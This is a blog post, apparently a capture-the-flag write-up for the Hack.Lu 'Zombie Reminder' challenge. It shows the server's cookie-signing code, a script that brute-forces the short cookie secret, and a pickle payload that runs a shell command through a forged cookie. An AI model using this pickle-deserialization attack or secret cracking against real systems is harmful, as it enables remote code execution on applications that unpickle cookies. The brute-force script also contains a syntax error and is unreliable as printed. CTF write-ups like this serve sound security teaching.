Thursday, October 25, 2012

Hack.Lu CTF: Zombie Reminder Writeup

This challenge was composed breaking a weak secret for a hashing algorithm followed up by creating a pickled object that would be loaded by the server and execute arbitrary code. The relevant portions of the server are shown below. The server basically stores pickled objects in a cookie by hashing them and comparing the hash to see if it is ok to load the pickled object.
def getlocation(): cookie = request.cookies.get('location') if not cookie: return '' (digest, location) = cookie.split("!") if not safe_str_cmp(calc_digest(location, cookie_secret), digest): flash("Hey! This is not a valid cookie! Leave me alone.") return False location = pickle.loads(b64d(location)) return location def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret): from hashlib import sha256 return sha256("%s%s" % (location, secret)).hexdigest() def init_secret(): from os import path import random, string if not path.exists('secret'): with open("secret", "w") as f: secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(5)) f.write(secret) with open("secret", "r") as f: return f.read() if __name__ == '__main__': cookie_secret = init_secret() app.run()
This shows that the key is generated at run-time and is never regenerated. Therefore, we can store something in the server and get a location/hash combination back, allowing us to brute-force the key (the keyspace is 62^5 ~ 900,000,000). A nice simple python script that finds the key is shown below.
from hashlib import sha256

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

location = '/var/www/flag.txt'

def getKey(init):
    count = 0
    for i in xrange(len(chars)):
        for j in xrange(len(chars)):
            for k in xrange(len(chars)):
                for l in xrange(len(chars)):
                    for m in xrange(len(chars)):
                        if count % 100000 == 0:
                            print "Have tried", count, "combinations"
                        count += 1
                        tmp = chars[i] + chars[j] + chars[k] + chars[l] + chars[m]
                        update = init.copy()
                        update.update(tmp)
                        hashed = update.hexdigest()

                        if hashed = 'insertyourhashhere':
                            return tmp


init = sha256(location)

print getKey(init)
This returned the key of 'oIqxe' which we could then use to create our own cookies. At this point, we take advantage of the insecurities in Python's Pickle module and create a pickle object that will print out what is in /var/www/flag. The script below produces the cookie that wins.
import pickle, base64, subprocess
b64e=base64.b64encode
b64d=base64.b64decode

class PickleCommand(object):
    def __reduce__(self):
        return (subprocess.check_output, (('cat','/var/www/flag',),))

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)
   
def calc_digest(location, secret):
    from hashlib import sha256
    return sha256("%s%s" % (location, secret)).hexdigest()

todecode = base64.b64encode(pickle.dumps(PickleCommand()))
print todecode

secret = 'oIqxe'

print make_cookie(todecode, secret)
-- suntzu_II

2 comments:

  1. Nice writeup, but for the future, you could take a look at itertools (permutations) so you don't have to nest those loops.

    ReplyDelete
    Replies
    1. Cool! I didn't know about itertools. It looks very convenient! Thanks!

      Delete